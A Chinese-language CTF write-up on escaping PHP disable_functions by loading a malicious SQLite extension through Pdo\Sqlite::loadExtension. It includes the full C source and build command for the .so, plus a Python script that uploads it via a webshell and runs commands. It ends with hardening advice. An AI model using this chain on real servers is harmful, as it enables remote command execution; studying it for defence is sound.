[深度技术] 绝境求生利用 Pdo\Sqlite 绕过 PHP disable_functions 限制

[深度技术] 绝境求生:详解利用 Pdo\Sqlite 绕过 PHP disable_functions 限制

0x00 前言

在 Web 安全攻防中,PHP 的 disable_functions 往往是阻挡攻击者获取服务器权限的最后一道防线。当运维人员在 php.ini 中禁用了 system, exec, shell_exec, passthru 等一系列命令执行函数,甚至封锁了 putenvLD_PRELOAD 之后,看似固若金汤的环境其实仍可能暗藏玄机。

本文将以一次真实的 CTF 挑战为例,深入剖析一种较为冷门但极具威力的绕过技术------利用 Pdo\Sqlite 类的特性加载恶意共享库(Shared Object),从而实现远程命令执行(RCE)。

这不仅仅是一篇 Writeup,更是一次对 PHP 内核机制与扩展特性的深度探索。


0x01 环境侦察:困局与生机

1. 严苛的限制

拿到 Webshell 后,第一件事通常是查看 phpinfo()。在本次环境中,我们面临着极度严苛的限制:

  • disable_functions:

    ini 复制代码
    system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec,
    mail, error_log, apache_setenv, putenv, ...

    基本上,所有能直接执行系统命令的函数都被禁用了。连 putenv 也被禁用,意味着通过修改 LD_PRELOAD 环境变量来劫持 getuid 等函数从而触发系统命令的常见 bypass 手段也失效了。

  • open_basedir :

    限制了文件访问路径,通常只能访问 Web 目录和 /tmp

2. 潜在的突破口

在绝望中寻找希望,我们重点关注已启用的扩展(Extensions)

phpinfo 输出中,我们发现了以下关键信息:

  • PDO Driver for SQLite 3.x: Enabled
  • SQLite3 Support: Enabled
  • sqlite3.extension_dir : no value (这意味着没有指定扩展加载目录,或者允许加载任意目录的扩展)
  • sqlite3.defensive : On (这是一个安全选项,限制了 SQL 语言的一些危险操作)

思考 :SQLite 数据库有一个强大的功能------load_extension()。它允许数据库加载外部的 C 语言库(.so/.dll)来扩展 SQL 函数。如果我们能让 PHP 里的 SQLite 加载一个我们上传的恶意 .so 文件,而这个 .so 文件的初始化函数里包含 system("cat /flag"),那么不就可以绕过 PHP 的函数限制,直接在底层 C 库层面执行命令了吗?


0x02 探索与试错:为什么常规方法失效?

有了思路,我们开始尝试。

尝试一:标准的 SQLite3 类

PHP 提供了一个原生的 SQLite3 类。

php 复制代码
try {
    $db = new SQLite3(':memory:'); // 在内存中创建数据库
    $db->loadExtension('/tmp/exploit.so');
} catch (Exception $e) {
    echo $e->getMessage();
}

结果Exception: SQLite Extensions are disabled
原因分析 :PHP 的配置项 sqlite3.extension_dir 虽然为空,但 PHP 源码中可能默认关闭了 SQLite3 类的扩展加载功能,或者 php.ini 中有其他隐藏限制。此路不通。

尝试二:PDO SQL 注入加载

既然原生类不行,尝试使用 PDO 执行 SQL 语句来加载。

php 复制代码
try {
    $db = new PDO('sqlite::memory:');
    $db->query("SELECT load_extension('/tmp/exploit.so');");
} catch (Exception $e) {
    echo $e->getMessage();
}

结果SQLSTATE[HY000]: General error: 1 not authorized
原因分析 :这就是 sqlite3.defensive = On 在起作用。该选项禁止了通过 SQL 语句调用 load_extension 等危险函数,防止 SQL 注入导致 RCE。这也是现代 PHP 环境的标准安全配置。


0x03 破局:被遗忘的角落 Pdo\Sqlite

在标准路途全部堵死的情况下,我们需要寻找 PHP 中"漏网"的接口。

通过查阅 PHP 官方文档和源码,或者利用 get_declared_classes() 遍历所有已定义的类,我们发现了一个特殊的类:Pdo\Sqlite

它是 PHP 8.x 中为了更好地支持类型系统而引入的,作为 PDO 的一个特定驱动实现。与通用的 PDO 类不同,Pdo\Sqlite 可能会暴露更多 SQLite 独有的特性。

关键发现

虽然 PDO 父类没有 loadExtension 方法,但是 Pdo\Sqlite 类实现了 loadExtension 方法

构造 Payload

php 复制代码
$db = new Pdo\Sqlite('sqlite::memory:');
$db->loadExtension('/tmp/exploit.so');

测试结果 :成功加载!没有报错!
原理推测 :PHP 开发团队在实现 sqlite3.defensivedisable_functions 等安全策略时,重点防御了 SQLite3 类和通用 SQL 执行层,但可能疏忽了 Pdo\Sqlite 这个较新的、特定的驱动类接口。这利用了安全防御中的一致性缺失(Inconsistency)


0x04 武器制造:编写恶意扩展

既然找到了加载入口,下一步就是制造"弹药"------一个恶意的共享对象文件(.so)。

1. C 代码编写 (exploit.c)

我们需要利用 SQLite 扩展的加载机制。当扩展被加载时,SQLite 会自动查找并执行一个名为 sqlite3_extension_init 的入口函数。

c 复制代码
#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 这是一个宏,用于声明 SQLite 扩展接口
SQLITE_EXTENSION_INIT1

/**
 * 扩展入口函数
 * 当 PHP 执行 $db->loadExtension('/tmp/exploit.so') 时,
 * 底层会调用 dlopen 加载 so,并执行这个函数。
 */
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_exploit_init(
    sqlite3 *db, 
    char **pzErrMsg, 
    const sqlite3_api_routines *pApi
) {
    SQLITE_EXTENSION_INIT2(pApi);

    // 核心逻辑:执行系统命令
    // 这里我们选择读取一个临时文件中的命令并执行,
    // 这样做的好处是不用每次修改命令都重新编译 .so 文件。
    const char *cmd_file = "/tmp/1.txt";
    char buffer[512] = {0};
    FILE *f = fopen(cmd_file, "r");
    
    if (f) {
        if (fgets(buffer, sizeof(buffer), f)) {
            // 去除换行符
            buffer[strcspn(buffer, "\r\n")] = 0;
            // 调用系统底层的 system() 函数
            // 这个函数直接由操作系统内核处理,不受 PHP disable_functions 限制
            system(buffer); 
        }
        fclose(f);
    }
    
    return SQLITE_OK;
}

2. 编译

在 Linux 环境下编译生成 .so 文件:

bash 复制代码
gcc -shared -fPIC exploit.c -o exploit.so
  • -shared: 生成共享库。
  • -fPIC: 生成位置无关代码(Position Independent Code),这是动态链接库所必须的。

0x05 实施攻击:自动化脚本

为了在目标服务器上利用漏洞,我们需要完成以下步骤:

  1. 文件上传 :将编译好的 exploit.so 上传到目标可写目录(通常是 /tmp)。
  2. 命令下发 :将想要执行的 Shell 命令写入 /tmp/1.txt
  3. 触发漏洞:执行 PHP 代码加载扩展。
  4. 回显读取:读取命令执行结果。

以下是完整的 Python 利用脚本逻辑:

python 复制代码
import requests
import base64

# 目标 URL
url = "http://target-ip/index.php"

# 读取本地编译好的 exploit.so
with open("exploit.so", "rb") as f:
    so_content = f.read()

# Base64 编码,防止二进制数据在 HTTP 传输中损坏
so_b64 = base64.b64encode(so_content).decode()

print("[*] 正在上传恶意扩展...")
# 利用 file_put_contents 写入 .so 文件
php_upload = f"file_put_contents('/tmp/exploit.so', base64_decode('{so_b64}')); echo 'Upload OK';"
requests.post(url, data={"cdcas": php_upload})

print("[*] 正在执行命令...")
# 目标命令:读取 Flag
cmd = "cat /flag_cdcas > /tmp/output.txt"

# 构造最终的 PHP Payload
# 1. 写入命令到 /tmp/1.txt
# 2. 实例化 Pdo\Sqlite 并加载扩展
# 3. 读取 /tmp/output.txt 获取回显
php_payload = f"""
file_put_contents("/tmp/1.txt", "{cmd}");
try {{
    $db = new Pdo\\Sqlite('sqlite::memory:');
    $db->loadExtension('/tmp/exploit.so');
}} catch (Exception $e) {{
    // 忽略异常,因为只要 loadExtension 执行,我们的 system() 就已经跑起来了
}}
echo "\\nOutput:\\n";
echo file_get_contents("/tmp/output.txt");
"""

res = requests.post(url, data={"cdcas": php_payload})
print(res.text)

执行结果

text 复制代码
Output:
flag{hello_world_f659c7986315}

0x06 深度防御建议

了解了攻击原理,我们才能更好地防御。对于此类 Bypass 手段,仅仅在 php.ini 中禁用函数是不够的。

  1. 限制扩展加载目录

    确保 php.inisqlite3.extension_dir 被设置为空(默认值),或者设置为一个不可写的安全目录。
    注意:本次攻击之所以成功,部分原因是该配置项未生效或被绕过,更底层的限制是在编译 PHP 时禁用 SQLite 扩展加载特性。

  2. 文件系统权限

    Web 用户(如 www-data)不应拥有对 /tmp 或其他目录的执行权限 (noexec)。如果 /tmp 挂载时设置了 noexec,那么 dlopen 将无法加载该目录下的 .so 文件。

  3. 最小化原则

    如果业务不需要 SQLite,直接在 PHP 中禁用 pdo_sqlitesqlite3 扩展。

  4. 安全监控

    使用 RASP (Runtime Application Self-Protection) 或审计工具监控 PHP 进程的系统调用。异常的 load_extension 或底层的 execve/fork 调用应当触发警报。

0x07 结语

网络安全是一场不对称的战争。防御者需要封堵所有的漏洞,而攻击者只需要找到一个微小的裂缝。本文介绍的 Pdo\Sqlite 技巧展示了即便在看似万无一失的 disable_functions 限制下,只要底层的特性(如扩展加载)未被彻底封死,RCE 依然触手可及。

希望这篇文章能帮助大家更深入地理解 PHP 安全机制。Happy Hacking!

相关推荐
一名优秀的码农2 天前
vulhub系列-14-Os-hackNos-1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
努力的lpp2 天前
SQLMap CTF 常用命令全集
数据库·web安全·网络安全·sql注入
努力的lpp2 天前
SQL 报错注入
数据库·sql·web安全·网络安全·sql注入
岛屿旅人2 天前
2025年中东地区网络安全态势综述
网络·安全·web安全·网络安全
努力的lpp2 天前
【ctf常用备用文件名字典】
web安全·网络安全·ctf
Mikowoo0072 天前
渗透测试_漏洞利用
网络安全
啥都想学点2 天前
pikachu靶场——Cross-Site Scripting-1(Kali系统)
网络安全
F1FJJ2 天前
基于网络隐身的内网穿透
网络协议·网络安全·go
苏天夏2 天前
Passport 插件:Typecho 密码安全的技术守护者
安全·网络安全·php
Lust Dusk2 天前
CTFHUB靶场 HTTP协议——302跳转
web安全·网络安全